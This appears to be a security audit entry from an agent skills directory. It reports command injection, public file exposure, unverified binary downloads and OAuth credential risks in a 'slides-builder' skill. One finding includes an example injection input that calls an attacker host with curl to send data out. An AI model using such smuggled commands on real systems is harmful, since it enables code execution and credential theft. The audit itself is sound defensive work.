The Agent Skills Directory

[COMMAND_EXECUTION]: Arbitrary command injection via shell evaluation. In checklists/pre-flight.md and protocols/recipe-insert-image.md, the skill executes eval echo on the local_path variable supplied in the user's slide-plan.json. A malicious input containing shell metacharacters (e.g., ~/; curl attacker.com/$(whoami) #) would result in arbitrary code execution on the host machine.
[DATA_EXFILTRATION]: Public exposure of local file content. To satisfy Google Slides API requirements, protocols/recipe-insert-image.md uploads local images to Google Drive and programmatically grants anyoneWithLink reader permissions. This behavior makes potentially sensitive local data publicly accessible on the internet.
[EXTERNAL_DOWNLOADS]: Execution of unverifiable external binaries. The skill's pre-flight checklist and setup documentation indicate that it relies on gws and jq binaries downloaded to ~/.cache/gws-toolkit/bin/. Documentation in SKILL.md explicitly states that SHA-256 integrity verification for these downloads has been retired, posing a supply chain risk.
[CREDENTIALS_UNSAFE]: Access and management of sensitive credentials. The skill interacts with Google OAuth tokens and environment variables stored in ~/.config/gws/env.sh and ~/.config/gws/keyring-file.json. These secrets are at risk of exposure, especially when combined with the identified command injection vulnerability.

slides-builder